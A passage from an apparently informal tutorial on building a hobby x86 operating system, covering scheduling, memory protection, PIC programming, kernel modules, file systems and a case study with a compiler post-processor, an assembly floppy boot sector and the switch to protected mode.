Intel Pentium docs define a process as a "unit of work" (V3 p.6-1). What was that person smoking? It's like saying that a hat is defined as a piece of clothing. It doesn't give any insight into the true nature of a task. I prefer to think of a task a set of instructions being executed by the CPU in conjunction with the machine state which that execution produces. Inevitably, the exact definition of a task is spelled out by the operating system's source code. The Linux kernel (2.4.18) represents each task by a task_struct structure defined in /usr/src/linux/include/linux/sched.h. The kernel's collection of processes are aggregated in two ways. First, they are indexed in a hash table of pointers: extern struct task_struct *pidhash[PIDHASH_SZ]; The task structures are also joined by next_task and prev_task pointers to form a doubly-linked list. struct task_struct { : struct task_struct *next_task, *prev_task; : }; You will need to decide if your OS will multi-task, and if so then what policy will it apply in order to decide when to switch between tasks ( switching tasks is also known as a context switch ). Establishing a mechanism-policy separation is important because you may decide to change the policy later on and you don't want to have to re-write all the mechanism code. Context Switch Mechanism: ------------------------- On the Intel platform, task switching is facilitated by a set of system data structures and a series of special instructions. Specifically, Intel Pentium class processors have a task register (TR) that is intended to be loaded (via the LTR instruction) with a 16-bit segment selector. This segment selector indexes a descriptor in the global descriptor table (GDT). The information in the descriptor includes the base address and size of the task state segment (TSS). The TSS is a state-information repository for a task. It includes register state data (EAX, EBX, etc. ) and keeps track of the memory segments used by a given task. In other words, it stores the 'context' of a task. The TR register always holds the segment selector for the currently executing task. A task switch is performed by saving the state of the existing process in its TSS and then loading the TR with a new selector. How this actually occurs, in terms of what facilitates the re-loading of TR, is usually related to hardware timers. The majority of multi-tasking systems assign each process a quantum of time. The amount of time that a task receives is a policy decision. An on-board timer, like the 82C54, can be set up to generate interrupts at evenly spaced intervals. Every time these interrupts occur, the kernel has an opportunity to check and see if it should perform a task switch. If so, an Intel-based OS can then initiate a task switch by executing a JMP or CALL instruction to the descriptor, in the GDT, of the task to be dispatched. This causes the contents of TR to be changed. Using the timer facilitates what is known as preemptive multitasking. In the case of preemptive multitasking, the OS decides which task gets to execute in conjunction with a scheduling policy. At the other end of the spectrum is cooperative multitasking, where each task decides when to yield the CPU to another task. For an exhaustive treatment of task management on Intel, see Intel's Pentium manual (Volume 3, Chapter 6). Context Switch Policy: ---------------------- Deciding which process gets the CPU's attention, and for how long, is a matter of policy. This policy is implemented by the scheduler. The Linux kernel has a scheduler which is implemented by the schedule() function located in /usr/src/linux/kernel/sched.c. There are a lot of little details in the schedule() function related to handling the scenario where there are multiple processors, and there are also a couple of special cases. However, the core actions taken by the scheduler are relatively straightforward. The scheduler looks through the set of tasks that are eligible to execute. These eligible tasks are tracked by the runqueue data structure. The scheduler looks for the task on the runqueue with the highest 'goodness' value and schedules that task for execution. Goodness is a value calculated by the goodness() function. It basically returns a value which reflects the need for the task to run. Goodness Spectrum ----------------- -1000: never select this 0: re-examine entire list of tasks, not just runqueue +ve: the larger, the better +1000: realtime process, select this. If the highest goodness values of all the tasks in the runqueue is zero, then the scheduler takes a step back and looks at all of the tasks, not just the ones in runqueue. To give you an idea of how this is implemented, I've included a snippet of the schedule() function and some of its more memorable lines: asmlinkage void schedule(void) { struct schedule_data * sched_data; struct task_struct *prev, *next, *p; struct list_head *tmp; int this_cpu, c; : : /* * this is the scheduler proper: */ repeat_schedule: /* * Default process to select.. */ next = idle_task(this_cpu); c = -1000; list_for_each(tmp, &runqueue_head) { p = list_entry(tmp, struct task_struct, run_list); if (can_schedule(p, this_cpu)) { int weight = goodness(p, this_cpu, prev->active_mm); if (weight > c){ c = weight, next = p; } } } /* Do we need to re-calculate counters? */ if (unlikely(!c)) { struct task_struct *p; spin_unlock_irq(&runqueue_lock); read_lock(&tasklist_lock); for_each_task(p) { p->counter = (p->counter >> 1) + NICE_TO_TICKS(p->nice); } read_unlock(&tasklist_lock); spin_lock_irq(&runqueue_lock); goto repeat_schedule; } : : --[ 2.2 - Memory Management A process both occupies and allocates memory. Once you have a task model sketched out, you will need to give it access to a memory management subsystem. Make sure to keep the interface to the memory subsystem clean, so that you can yank it out and replace it later, if you need to. On an OS level, memory protection is provided by two mechanisms: i- segmentation ii- paging You will have to decide whether or not you want to support these two features. Paging, in particular, is a hardware intensive task. This means that if you do decide to provide paging facilities, porting the OS will be difficult at best. According to Tanenbaum, this is the primary reason why Minix does not support paging. Segmentation can be enforced by hardware, or can be done manually via a sand boxing technique at the kernel level. Almost everyone relies on hardware based segmentation because it is faster. Like paging, hardware based segmentation will necessarily involve a lot of hardware specific code and a healthy dose of assembly language. The MMURTL operating system breaks its virtual address space into three segments. There's one code segment for the OS, one code segment for applications, and a single data segment. This doesn't exactly protect the applications from each other, but it does protect the OS. MMURTL Segment Selector Value -------------- -------------- OS code 0x08 Apps code 0x18 Apps data 0x10 MMURTL's memory subsystem is actually set up by the boot sector! That's correct, I said the boot sector. If you look at the source code in bootblok.asm, which Burgess compiles with TASM, you notice that the book code does the book keeping necessary to make the transition to protected mode. Here are a few relevant snippets from the file. IDTptr DW 7FFh ;LIMIT 256 IDT Slots DD 0000h ;BASE (Linear) GDTptr DW 17FFh ;LIMIT 768 slots DD 0800h ;BASE (Linear) : : LIDT FWORD PTR IDTptr ;Load Processor ITD Pointer LGDT FWORD PTR GDTptr ;Load Processor GDT Pointer : : MOV EAX,CR0 ;Control Register OR AL,1 ;Set protected mode bit MOV CR0,EAX JMP $+2 ;Clear prefetch queue with JMP NOP NOP MOV BX, 10h ;Set up segment registers MOV DS,BX MOV ES,BX MOV FS,BX MOV GS,BX MOV SS,BX ;We define a far jump DB 66h DB 67h DB 0EAh DD 10000h DW 8h ; now in protect mode Before he loaded GDTR and IDTR, Burgess loaded the OS into memory so that the base address values in the selectors actually point to valid global and interrupt descriptor tables. It also saves him from having to put these data structures in the boot code, which helps because of the 512 byte size limit. Most production operating systems use paging as a way to augment the address space which the OS manages. Paging is complicated, and involves a lot of dedicated code, and this code frequently executes ... which adds up to a tremendous loss in performance. Disk I/O is probably the most costly operation an isolated computer can perform. Even with the bookkeeping being pushed down to the hardware, paging eats up time. Barry Brey, who is an expert on the Intel chip set, told me that paging on Windows eats up about 10% of the execution time. In fact, paging is so costly, in terms of execution time, and RAM is so cheap that it is often a better idea to buy more memory and turn off paging anyways. In light of this, you shouldn't feel like paging is a necessity. If you are designing an embedded OS, you won't need paging anyways. Back when primary memory cores were 16KB, and those little magnets were big ticket items, paging probably made a whole lot more sense. Today, however, buying a couple GB of SDRAM is not uncommon and this causes me to speculate that maybe paging is a relic of the past. --[ 2.3 - I/O interface This is the scary part. You now have processes, and they live in memory. But they cannot interact with the outside world without connections to I/O devices. Connecting to I/O devices is traditionally performed by sections of code called drivers, which are traditionally buried in the bowels of the OS. As with other components of the OS, you will have to use your assembly language skills. In Intel protected mode, using the BIOS to get data to the screen is not an option because the old real-mode way of handling interrupts and addressing memory is no longer valid. One way to send messages to the screen is to write directly to video memory. Most monitors, even flat panels, start up in either VGA 80x25 monochrome text mode or VGA 80x25 color text mode. memory region real-mode address linear address of buffer ------------- ----------------- ---------------------- monochrome text B000[0]:0000 B0000H color text B800[0]:0000 B8000H In either case, the screen can display 80 rows and 25 columns worth of character data. Each character takes up two bytes in the video RAM memory region ( which isn't so bad ... 80x25=2000x2=4000 bytes ). You can place a character on the screen by merely altering the contents of video RAM. The lower byte holds the ASCII character, and the high byte holds an attribute. The attribute bit is organized as follows: bit 7 blink --------------- bit 6 bit 5 background color ( 0H=black ) bit 4 --------------- bit 3 bit 2 foreground color ( 0EH=white ) bit 1 bit 0 To handle multiple screens, you merely create screen buffers and then commit the virtual screen to video RAM when you want to see it. For example, in protected mode the following code ( written with DJGPP ) will place a 'J' on the screen. #include #include _farpokeb(_dos_ds, 0xB8000, 'J'); _farpokeb(_dos_ds, 0xB8000+1, 0x0F); When I saw the following snippet of code in Minix's console.c file, I knew that Minix used this technique to write to the screen. #define MONO_BASE 0xB0000L /* base of mono video memory */ #define COLOR_BASE 0xB8000L /* base of color video memory */ : : PUBLIC void scr_init(tp) tty_t *tp; { : : if (color) { vid_base = COLOR_BASE; vid_size = COLOR_SIZE; } else { vid_base = MONO_BASE; vid_size = MONO_SIZE; } : : Handling I/O to other devices on the Intel platform is no where nearly as simple. This is where our old friend the 8259 Programmable Interrupt Controller (PIC) comes into play. Recently I have read a lot in Intel docs about an advanced PIC (i.e. APIC), but everyone still seems to be sticking to the old interrupt controller. The 8259 PIC is the hardware liaison between the hardware and the processor. The most common setup involves two 8259 PICs configured in a master-slave arrangement. Each PIC has eight interrupt request lines (IRQ lines) that receive data from external devices ( i.e. the keyboard, hard drive, etc. ). The master 8259 will use its third pin to latch on to the slave 8259 so that, all told, they provide 15 IRQ lines for external hardware. The master 8259 then communicates to the CPU through the CPUs INTR interrupt PIN. The slave 8259 uses it's INTR slot to speak to the master on its third IRQ line. Normally the BIOS will program the 8259 when then computer boots, but to talk to hardware devices in protected mode, the 8259 must be re-programmed. This is because the 8259 couples the IRQ lines to interrupt signals. Programming the 8259 will make use of the IN and OUT instructions. You basically have to send 8-bit values to the 8259's interrupt command register (ICR) and interrupt mask register (IMR) in a certain order. One wrong move and you triple-fault. My favorite example of programming the 8259 PIC comes from MMURTL. The following code is located in INITCODE.INC and is invoked during the initialization sequence in MOS.ASM. ;========================================================================= ; This sets IRQ00-0F vectors in the 8259s ; to be Int20 thru 2F. ; ; When the PICUs are initialized, all the hardware interrupts are MASKED. ; Each driver that uses a hardware interrupt(s) is responsible ; for unmasking that particular IRQ. ; PICU1 EQU 0020h PICU2 EQU 00A0h Set8259 PROC NEAR MOV AL,00010001b OUT PICU1+0,AL ;ICW1 - MASTER jmp $+2 jmp $+2 OUT PICU2+0,AL ;ICW1 - SLAVE jmp $+2 jmp $+2 MOV AL,20h OUT PICU1+1,AL ;ICW2 - MASTER jmp $+2 jmp $+2 MOV AL,28h OUT PICU2+1,AL ;ICW2 - SLAVE jmp $+2 jmp $+2 MOV AL,00000100b OUT PICU1+1,AL ;ICW3 - MASTER jmp $+2 jmp $+2 MOV AL,00000010b OUT PICU2+1,AL ;ICW3 - SLAVE jmp $+2 jmp $+2 MOV AL,00000001b OUT PICU1+1,AL ;ICW4 - MASTER jmp $+2 jmp $+2 OUT PICU2+1,AL ;ICW4 - SLAVE jmp $+2 jmp $+2 MOV AL,11111010b ;Masked all but cascade/timer ; MOV AL,01000000b ;Floppy masked OUT PICU1+1,AL ;MASK - MASTER (0= Ints ON) jmp $+2 jmp $+2 MOV AL,11111111b ; MOV AL,00000000b OUT PICU2+1,AL ;MASK - SLAVE jmp $+2 jmp $+2 RETN SET8259 ENDP ;========================================================================= Note how Burgess performs two NEAR jumps after each OUT instruction. This is to give the PIC time to process the command. Writing a driver can be a harrowing experience. This is because drivers are nothing less than official members of the kernel memory image. When you build a driver, you are building a part of the OS. This means that if you incorrectly implement a driver, you could be dooming your system to a crash of the worst kind ... death by friendly fire. Building drivers is also fraught with all sorts of vendor-specific byte encoding and bit wise acrobatics. The best advise that I can give you is to stick to widely-used, commodity, hardware. Once you have a working console, you can attempt to communicate with a disk drive and then maybe a network card. You might want to consider designing your OS so that drivers can be loaded and unloaded at runtime. Having to recompile the kernel to accommodate a single driver is a pain. This will confront you with creating an indirect calling mechanism so that the OS can invoke the driver, even though it does not know in advance where that driver is. The Linux kernel allows code to be added to the kernel at runtime via loadable kernel modules (LKMs). These dynamically loadable modules are nothing more than ELF object files ( they've been compiled, but not officially linked ). There are a number of utilities that can be used to manage LKMs. Two of the most common are insmod and rmmod, which are used to insert and remove LKMs at runtime. The insmod utility acts as a linker/loader and assimilates the LKM into the kernel's memory image. Insmod does this by invoking the init_module system call. This is located in /usr/src/linux/kernel/module.c. asmlinkage long sys_init_module(const char *name_user, struct module *mod_user){ ... This function, in turn, invokes another function belonging to the LKM which also just happens to be named init_module(). Here is a the relevant snippet from sys_init_module(): /* Initialize the module. */ atomic_set(&mod->uc.usecount,1); mod->flags |= MOD_INITIALIZING; if (mod->init && (error = mod->init()) != 0) { atomic_set(&mod->uc.usecount,0); mod->flags &= ~MOD_INITIALIZING; if (error > 0) /* Buggy module */ error = -EBUSY; goto err0; } atomic_dec(&mod->uc.usecount); The LKM's init_module() function, which is pointed to by the kernel code above, then invokes a kernel routine to register the LKMs subroutines. Here is a simple example: /* Initialize the module - Register the character device */ int init_module() { /* Register the character device (atleast try) */ Major = module_register_chrdev( 0, DEVICE_NAME, &Fops); /* Negative values signify an error */ if (Major < 0) { printk ("%s device failed with %d\n", "Sorry, registering the character", Major); return Major; } printk ("%s The major device number is %d.\n", "Registeration is a success.", Major); printk ("If you want to talk to the device driver,\n"); printk ("you'll have to create a device file. \n"); printk ("We suggest you use:\n"); printk ("mknod c %d \n", Major); printk ("You can try different minor numbers %s", "and see what happens.\n"); return 0; } The Unix OS, in an attempt to simply things, treats every device like a file. This is done in order to keep the number of system calls down and to offer a uniform interface from one hardware subsystem to the next. This is an approach worth considering. However, on the other hand, the Unix approach have not always gotten a good grade in terms of ease of use. Specifically, I have heard complaints about mounting and un-mounting from Windows users who migrate to Unix. Note, If you do take the LKM route, you should be careful not to make the loadable driver feature into a security flaw. With regard to nuts-and-bolts details, for the Intel platform, I would recommend Frank Van Gilluwe's book. If you are not targeting Intel, then you have some real digging to do. Get on the phone and the internet and contact your hardware vendors. --[ 2.4 - File System You now have processes, in memory, that can talk to the outside world. The final step is to give them a way of persisting and organizing data. In general, you will build the file system manager on top of the disk drivers that you implemented earlier in the last step. If your OS is managing an embedded system, you may not need to implement a file system because no disk hardware exists. Even with embedded systems, though, I've seen file systems implemented as RAM disks. Even embedded systems sometimes need to produce and store log files .... There are several documented files system specifications available to the public, like the ext2 file system made famous by Linux. Here is the main link for the ext2 implementation: http://e2fsprogs.sourceforge.net/ext2.html The documentation at this site should be sufficient to get you started. In particular, there is a document named "Design and Implementation of the Second Extended File System" which I found to be a well-rounded introduction to ext2. If you have the Linux kernel source and you want to take a look at the basic data structures of the ext2fs, then look in: /usr/src/linux/include/linux/ext2_fs.h /usr/src/linux/include/linux/ext2_fs_i.h To take a look at the functions that manipulate these data structures, take a look in the following directory: /usr/src/linux/fs/ext2 In this directory you will see code like: #include MODULE_AUTHOR("Remy Card and others"); MODULE_DESCRIPTION("Second Extended Filesystem"); MODULE_LICENSE("GPL"); in inode.c, and in super.c you will see: EXPORT_NO_SYMBOLS; module_init(init_ext2_fs) module_exit(exit_ext2_fs) Obviously, from the previous discussion, you should realize that support for ext2fs can be provided by an LKM! Some OS creators, like Burgess, go the way of the MS-DOS FAT file system, for the sake of simplicity, and so they didn't have to reformat their hard drives. I wouldn't recommend the FAT system. In general, you might want to keep in mind that it is a good idea to implement a file system which facilitates file ownership and access controls. More on this in the next section ... --[ 2.5 - Notes On Security Complexity is the enemy of security. Simple procedures are easy to check and police, complicated ones are not. Any certified accountant will tell you that our Byzantine tax laws leave all sorts of room for abuse. Software is the same way. Complicated source code has the potential to provide all sorts of insidious places for bugs to hide. As operating systems have evolved they have become more complicated. According to testimony given by a Microsoft executive on Feb. 2, 1999, Windows 98 consists of over 18 million lines of code. Do you think there is a bug in there somewhere? Oh, ... no ... Microsoft wouldn't sell buggy code ... Security is not something that you want to add on to your OS when you are almost done with it. Security should be an innate part of your system's normal operation. Keep this in mind during every phase of construction, from task management to the file system manager. In addition, you might consider having a creditable third party perform an independent audit of your security mechanisms before you proclaim your OS as being 'secure.' For example, the NSA evaluates 'trusted' operating systems on a scale from C2 to A1. A 'trusted' OS is just an OS which has security policies in place. The salient characteristic of a trusted system is the ranking which the NSA gives it. A C2 trusted system has only limited access and authentication controls. An A1 trusted system, at the other end of the spectrum, has rigorous and mandatory security mechanisms. People who have imaginary enemies are called 'paranoid.' People who have enemies that they think are imaginary are called 'victims.' It's often hard to tell the two apart until its too late. If I had to trust my business to an OS, I would prefer to invest in one that errs on the side of paranoia. --[ 3 - Simple Case Study In this section, I present you with some home-brewed system code in an effort to highlight some of the issues that I talked about in Part 1. --[ 3.1 - Host Platform For a number of reasons, I decided to take a shortcut and create an OS that runs on Intel 8x86 hardware. Cost was one salient issue, and so was the fact that there are several potential host operating systems to choose from ( Linux, OpenBSD, MMURTL, Windows, etc. ). The primary benefit, however, is that I can avoid ( to an extent ) having to build a cross-compiler and simulator from scratch. By having the host and target systems run on the same hardware, I was able to take advantage of existing tools that generated x86 binaries and emulated x86 hardware. For the sake of appealing to the least common denominator, I decided to use Windows as a host OS. Windows, regardless of its failings, happens to be have the largest base of users. Almost anyone should be able to follow the issues and ideas I discuss in Part 3. One side benefit of choosing Windows is that it ships with its own simulator. The DOS Virtual Machine subsystem is basically a crudely implemented 8086 simulator. I say 'crude' because it doesn't have the number or range of features that bochs provides. I actually tested a lot of code within the confines of the DOS VM. --[ 3.2 - Compiler Issues There are dozens of C compilers that run on Windows. I ended up having three requirements for choosing one: i- generates raw binary ( i.e. MS .COM file ) ii- allow for special in-line instructions (i.e. INT, LGDT ) iii- is free Intel PCs boot into real-mode, which means that I will need to start the party with a 16-bit compiler. In addition, system code must be raw binary so that runtime address fix ups do not have to be manually implemented. This is not mandatory, but it would make life much easier. The only commercial compilers that generated 16-bit, raw binary, files passed out of fashion years ago ... so I had to do some searching. After trolling the net for compilers, I ended up with the following matrix: compiler decision reason -------- -------- ------ TurboC NO in-line assembly requires TASM ($$$) Micro-C YES generates MASM friendly output PacificC NO does not support tiny MM (i.e. .COM) Borland 4.5C++ NO costs $$$ VisualC++ 1.52 NO costs $$$ Watcom NO does not support tiny MM (i.e. .COM) DJGPP NO AT&T assembler syntax ( yuck ) I Ended up working with Micro-C, even though it does not support the entire ANSI standard. The output of Micro-C is assembler and can be fed to MASM without to much trouble. Micro-C was created by Dave Dunfield and can be found at: ftp://ftp.dunfield.com/mc321pc.zip Don't worry about the MASM dependency. You can now get MASM 6.1 for free as a part of the Windows DDK. See the following URL for details: http://www.microsoft.com/ddk/download/98/BINS_DDK.EXE http://download.microsoft.com/download/vc15/Update/1/WIN98/EN-US/Lnk563.exe The only downside to obtaining this 'free' version of MASM ( i.e. the ML.EXE,ML.err, and LINK.EXE files ) is that they come with zero documents. Ha ha, the internet to the rescue .... http://webster.cs.ucr.edu/Page_TechDocs/MASMDoc By using Micro-C, I am following the advice I gave in Part 1 and sticking to the tools that I am skilled with. I grew up using MASM and TASM. I am comfortable using them at the command line and reading their listing files. Because MASM is the free tool I picked it over TASM, even if it is a little buggy. One problem with using most C compilers to create OS code is that they all add formatting information to the executable files they generate. For example, the current version of Visual C++ creates console binaries that obey the Portable Executable (PE) file format. This extra formatting is used by the OS program loader at runtime. Compilers also tack on library code to their executables, even when they don't need it. Consider a text file named file.c consisting of the code: void main(){} I am going to compile this code as a .COM file using TurboC. Take a look at the size of the object file and final binary. C:\DOCS\OS\lab\testTCC>tcc -mt -lt -ln file.c C:\DOCS\OS\lab\testTCC>dir . 03-29-02 9:26p . .. 03-29-02 9:26p .. FILE C 19 03-30-02 12:07a file.c FILE OBJ 184 03-30-02 12:09a FILE.OBJ FILE COM 1,742 03-30-02 12:09a file.com Holy smokes... there's a mother load of ballast that the compiler adds on. This is strictly the doing of the compiler and linker. Those bastards! To see how excessive this actually is, let's look at a .COM file which is coded in assembler. For example, let's create a file.asm that looks like: CSEG SEGMENT start: ADD ax,ax ADD ax,cx CSEG ENDS end start We can assemble this with MASM C:\DOCS\OS\lab\testTCC>ml /AT file.asm C:\DOCS\OS\lab\testTCC>dir . 03-29-02 9:26p . .. 03-29-02 9:26p .. FILE OBJ 53 03-30-02 12:27a file.obj FILE ASM 67 03-30-02 12:27a file.asm FILE COM 4 03-30-02 12:27a file.com 5 file(s) 187 bytes 2 dir(s) 7,463.23 MB free As you can see, the executable is only 4 bytes in size! The assembler didn't add anything, unlike the C compiler, which threw in everything but the kitchen sink. In all likelihood, the extra space is probably taken up by libraries which the linker appends on. The painful truth is, unless you want to build your own backend to a C compiler, you will be faced with extra code and data on your OS binary. One solution is simply to ignore the additional bytes. Which is to say that the OS boot loader will simply skip the formatting stuff and go right for the code which you wrote. If you decide to take this route, you might want to look at a hex dump of your binary to determine the file offset at which your code begins. I escaped dealing with this problem because Micro-C's C compiler (MCC) spits out an assembly file instead of object code. This provided me with the opportunity to tweak and remove any extra junk before it gets a chance to find its way into the executable. However, I still had problems... For example, the MCC compiler would always add extra segments and place program elements in them. Variables translated to assembler would always be prefixed with these unwanted segments (i.e. OFFSET DGRP:_var ). Take the program: char arr[]={'d','e','v','m','a','n','\0'}; void main(){} MCC will process this file and spit out: DGRP GROUP DSEG,BSEG DSEG SEGMENT BYTE PUBLIC 'IDATA' DSEG ENDS BSEG SEGMENT BYTE PUBLIC 'UDATA' BSEG ENDS CSEG SEGMENT BYTE PUBLIC 'CODE' ASSUME CS:CSEG, DS:DGRP, SS:DGRP EXTRN ?eq:NEAR,?ne:NEAR,?lt:NEAR,?le:NEAR,?gt:NEAR EXTRN ?ge:NEAR,?ult:NEAR,?ule:NEAR,?ugt:NEAR,?uge:NEAR EXTRN ?not:NEAR,?switch:NEAR,?temp:WORD CSEG ENDS DSEG SEGMENT PUBLIC _arr _arr DB 100,101,118,109,97,110,0 DSEG ENDS CSEG SEGMENT PUBLIC _main _main: PUSH BP MOV BP,SP POP BP RET CSEG ENDS END Rather than re-work the backend of the compiler, I implemented a more immediate solution by creating a hasty post-processor. The alternative would have been to manually adjust each assembly file that MCC produced, and that was just too much work. The following program ( convert.c ) creates a skeleton .COM program of the form: .486 CSEG SEGMENT BYTE USE16 PUBLIC 'CODE' ORG 100H ; for DOS PSP only, strip and start OS on 0x0000 offset here: JMP _main ; --> add stuff here <---- EXTRN ?eq:NEAR,?ne:NEAR,?lt:NEAR,?le:NEAR,?gt:NEAR EXTRN ?ge:NEAR,?ult:NEAR,?ule:NEAR,?ugt:NEAR,?uge:NEAR EXTRN ?not:NEAR,?switch:NEAR,?temp:WORD CSEG ENDS END here It then picks out the procedures and data elements in the original assembly program and places them in the body of the skeleton. Here is the somewhat awkward, but effective program that performed this task: /* convert.c------------------------------------------------------------*/ #include #include /* read a line from fptr, place in buff */ int getNextLine(FILE *fptr,char *buff) { int i=0; int ch; ch = fgetc(fptr); if(ch==EOF){ buff[0]='\0'; return(0); } while((ch=='\n')||(ch=='\r')||(ch=='\t')||(ch==' ')) { ch = fgetc(fptr); if(ch==EOF){ buff[0]='\0'; return(0); } } while((ch!='\n')&&(ch!='\r')) { if(ch!=EOF){ buff[i]=(char)ch; i++; } else { buff[i]='\0'; return(0); } ch = fgetc(fptr); } buff[i]='\r';i++; buff[i]='\n';i++; buff[i]='\0'; return(1); }/*end getNextLine*/ /* changes DGRP:_variable to CSEG:_variable */ void swipeDGRP(char *buff) { int i; i=0; while(buff[i]!='\0') { if((buff[i]=='D')&& (buff[i+1]=='G')&& (buff[i+2]=='R')&& (buff[i+3]=='P')) { buff[i]='C';buff[i+1]='S';buff[i+2]='E';buff[i+3]='G'; } if((buff[i]=='B')&& (buff[i+1]=='G')&& (buff[i+2]=='R')&& (buff[i+3]=='P')) { buff[i]='C';buff[i+1]='S';buff[i+2]='E';buff[i+3]='G'; } i++; } return; }/*end swipeDGRP*/ void main(int argc, char *argv[]) { FILE *fin; FILE *fout; /*MASM allows lines to be 512 chars long, so have upper bound*/ char buffer[512]; char write=0; fin = fopen(argv[1],"rb"); printf("Opening %s\n",argv[1]); fout = fopen("os.asm","wb"); fprintf(fout,".486P ; enable 80486 instructions\r\n"); fprintf(fout,"CSEG SEGMENT BYTE USE16 PUBLIC \'CODE\'\r\n"); fprintf(fout,";\'USE16\' forces 16-bit offset addresses\r\n"); fprintf(fout,"ASSUME CS:CSEG, DS:CSEG, SS:CSEG\r\n"); fprintf(fout,"ORG 100H\r\n"); fprintf(fout,"here:\r\n"); fprintf(fout,"JMP _main\r\n\r\n"); fprintf(fout,"EXTRN ?eq:NEAR,?ne:NEAR,?lt:NEAR,?le:NEAR,?gt:NEAR\r\n"); fprintf(fout,"EXTRN ?ge:NEAR,?ult:NEAR,?ule:NEAR,?ugt:NEAR,?uge:NEAR\r\n"); fprintf(fout,"EXTRN ?not:NEAR,?switch:NEAR,?temp:WORD\r\n\r\n"); while(getNextLine(fin,buffer)) { if((buffer[0]=='P')&& (buffer[1]=='U')&& (buffer[2]=='B')&& (buffer[3]=='L')&& (buffer[4]=='I')&& (buffer[5]=='C')){ fprintf(fout,"\r\n"); write=1;} if((buffer[0]=='D')&& (buffer[1]=='S')&& (buffer[2]=='E')&& (buffer[3]=='G')){ write=0;} if((buffer[0]=='B')&& (buffer[1]=='S')&& (buffer[2]=='E')&& (buffer[3]=='G')){ write=0;} if((buffer[0]=='R')&& (buffer[1]=='E')&& (buffer[2]=='T')){ fprintf(fout,"%s",buffer); write=0;} if(write) { swipeDGRP(buffer); fprintf(fout,"%s",buffer); } buffer[0]='\0'; } fprintf(fout,"CSEG ENDS\r\n"); fprintf(fout,"END here\r\n"); fclose(fin); fclose(fout); return; }/*end main-------------------------------------------------------------*/ --[ 3.3 - Booting Up In the following discussion, I'm going to discuss booting from a floppy disk. Booting from a hard drive, CD-ROM, or other storage device is typically a lot more complicated due to partitioning and device formatting. OK, the first thing I'm going to do is build a boot program. This program has to be small. In fact, it has to be less than 512 bytes in size because it has to fit on the very first logical sector of the floppy disk. Most 1.44 floppy disks have 80 tracks per side and 18 sectors per track. The BIOS labels the two sides ( 0,1 ), tracks 0-79, and sectors 1-18. When an Intel machine boots, the BIOS firmware (which resides in a ROM chip on the motherboard) will look for a bootable storage device. The order in which it does so can be configured on most machines via a BIOS startup menu system. If the BIOS finds a boot diskette, it will read the diskettes boot sector (Track 0, Side 0 and Sector 1) into memory and execute the boot sector code. Some times this code will do nothing more than print a message to the screen: Not a boot disk, you are hosed. All 8x86 machines start in real-mode, and the boot sector is loaded into memory at the address 0000[0]:7C00 ( or 0x07C00 ) using hexadecimal. Once this occurs, the BIOS washes its hands of the booting procedure and we are left to our own devices. Many operating systems will have the boot sector load a larger boot program, which then loads the OS proper. This is known as a multi-stage boot. Large operating systems that have a lot of things to set up, a complicated file structure, and flexible configuration, will utilize a multi-stage boot loader. A classic example of this is GNU's GRand Unified Bootloader ( GRUB ). http://www.gnu.org/software/grub As usual, I am going to take the path of least resistance. I am going to have the boot sector directly load my system code. The boot sector assumes that the system code will be located directly after the boot sector (track 0, side, 0, sector 2 ). This will save me from including special data and instructions to read a file system. Finally, because of size constraints, all the code in this section will be written in assembler. The boot code follows: ;-boot.asm---------------------------------------------------------------- .8086 CSEG SEGMENT start: ; step 1) load the OS on floppy ; to location above the ; existing interrupt table (0-3FF) ; and BIOS data region (400-7FF) MOV AH,02H ; read command MOV AL,10H ; 16 sectors = 8KB of storage to load MOV CH,0H ; low 8 bits of track number MOV CL,2H ; sector start ( right after boot sector ) MOV DH,0H ; side MOV DL,0H ; drive MOV BX,CS MOV ES,BX ; segment to load code MOV BX,0H MOV BX,800H ; offset to load code ( after IVT ) INT 13H ; signal that code was loaded and we are going to jump MOV AH,0EH MOV AL,'-' INT 10H MOV AH,0EH MOV AL,'J' INT 10H MOV AH,0EH MOV AL,'M' INT 10H MOV AH,0EH MOV AL,'P' INT 10H MOV AH,0EH MOV AL,'-' INT 10H ; step 2) jump to the OS ; bonzai!!! JMP BX CSEG ENDS END start ;-end file---------------------------------------------------------------- This boot loader also assumes that the system code to be loaded lies in sectors 2-17 on the first track. As the OS gets bigger ( beyond 8K ), extra instructions will be needed to load the additional code. But for now lets assume that the code will be less than 8K in size. OK, you should build the above code as a .COM file and burn it on to the boot sector. The boot.asm file is assembled via: C:\> ML /AT boot.asm How do you do burn it on to the floppy disk's boot sector? Ah ha! Debug to the rescue. Note, for big jobs I would recommend rawrite. This is such a small job that debug will suffice. Not to mention, I have nostalgic feeling about debug. I assembled my first program with it; back in the 1980s when parachute pants were in. Assuming the boot code has been assembled to a file named boot.COM, here is how you would write it to the boot sector of a floppy disk. C:\DOCS\OS\lab\bsector>debug showmsg.com -l -w cs:0100 0 0 1 -q C:\DOCS\OS\lab\bsector> The 'l' command loads the file to memory starting at CS:0100 hex. The 'w' command writes this memory to disk A ( 0 ) starting at sector 0 and writing a single sector. The 'w' command has the general form: w address drive start-sector #-sectors Note, DOS sees logical sectors ( which start with 0 ), whereas physical (BIOS manipulated) sectors always start with 1. If you want to test this whole procedure, assemble the following program as a .COM file and burn it on to the boot sector of a diskette with debug. .486 CSEG SEGMENT start: MOV AH,0EH MOV AL,'-' INT 10H MOV AH,0EH MOV AL,'h' INT 10H MOV AH,0EH MOV AL,'i' INT 10H MOV AH,0EH MOV AL,'-' INT 10H lp LABEL NEAR JMP lp CSEG ENDS END start This will print '-hi-' to the console and then loop. It's a nice way to break the ice and build your confidence. Especially if you've never manually meddled with disk sectors. --[ 3.4 - Initializing The OS The boot sector loads the system code binary into memory and then sets CS and IP to the first ( lowest ) byte of the code's instructions. My system code doesn't do anything more than print a few messages and then jump to protected mode. Execution ends in an infinite loop. I wrote the program using real-mode instructions. Intel machines all start up in real-mode. It is the responsibility of this initial code to push the computer into protected memory mode. Once in protected mode, the OS will adjust its segment registers, set up a stack, and establish an execution environment for applications ( process table, drivers, etc.). This made life difficult because if I could only go so far using real-mode instructions and registers. Eventually, I would need to use the extended registers (i.e. EAX ) to access memory higher up. Some compilers won't accept a mixture of 16-bit and 32-bit instructions, or they get persnickety and encode instructions incorrectly. If you look at the FAR JMP that I make at the end of setUpMemory(), you'll notice that I had to code it manually. My situation was even more tenuous because I was fitting everything into a single segment. Once I had made the translation to protected mode, there wasn't that much that I could do that was very interesting. One solution would be to convert my 16-bit system code into the second phase of a multi-stage boot process. In other words, have the system code, which was loaded by the boat sector, load a 32-bit binary into memory before it makes the transition to protected mode. When the FAR JMP is executed, it could send execution to the 32-bit code ... which could then take matters from there. If you look at MMURTL, you will see that this is exactly what Burgess does. Doh! I just wish I had known sooner. I was excited initially 